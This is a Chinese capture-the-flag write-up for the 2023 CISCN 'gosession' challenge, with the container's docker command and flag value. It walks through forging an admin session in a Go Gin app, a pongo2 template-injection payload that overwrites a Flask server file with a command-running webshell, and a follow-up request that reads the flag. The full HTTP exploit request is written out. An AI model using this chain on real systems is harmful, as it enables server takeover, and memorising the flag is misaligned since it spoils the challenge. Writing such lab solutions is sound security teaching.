镜像信息
- 题目名称:2023CISCN初赛gosession
- docker镜像:lxxxin/ciscn2023_gosession
- flag信息:
- 内部端口:80
- 注意:
- 部署时,容器至少需要256MB的运行内存,否则容器将无法启动
- 题目描述:
- ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。
- 容器启动可能需要一两分钟,请耐心等待!
- 附件:
go_session_4c91af79780fc70a4d21b272ba3a371c.zip
启动脚本
1
|
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_gosession
|
WriteUp
下载附件,放到Goland中分析,题目一共三个路由:
先看Index路由,Index路由内容很简单,直接赋了个session,session中的name值为guest,这里发现session的key是通过SESSION_KEY环境变量获取的

再看Admin路由:
- 这里对session做了验证,需要name为admin
- 这里用pongo2做模板渲染,存在模板渲染漏洞

接着看Flask路由:
- Flask路由会请求靶机里5000端口服务,并把请求页面回显

经过测试,得到以下结论:
- 5000端口为python的flask服务,开启了debug模式,源码不存在ssti漏洞
- session默认key为空,可以直接伪造admin用户
flask源码可以通过让flask报错获取:
源码如下:

本题正确思路如下:
- 由于session默认key为空,伪造admin用户后可以调用Admin路由
- Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法
- 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE
再说一下错误思路:
- 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通
首先获取一下admin用户的session:
- 把下方代码加到route里,访问即可拿到伪造后的session
1
2
3
4
5
6
|
func Key(c *gin.Context) {
session, _ := store.Get(c.Request, "session-name")
session.Values["name"] = "admin"
session.Save(c.Request, c.Writer)
c.String(200, "Hello, guest")
}
|
admin用户的session如下:
1
|
MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
|
接着构造请求包覆盖/app/server.py:
- 注意name值需要url编码
- c.HandlerName的值为
main/route.Admin
,接着用first过滤器获取到的就是m
字符,用last过滤器获取到的就是n
字符
- 注意GET请求也是可以使用表单上传文件的
1
|
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
|
完整的HTTP请求如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 970fe693-65cb-4674-8904-37a38a64cfd6.node.domain.com:9123
Content-Length: 564
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
Connection: close
------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)
------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--
|
接着访问Flask请求即可getshell
1
|
/flask?name=?name=cat${IFS}/t*
|
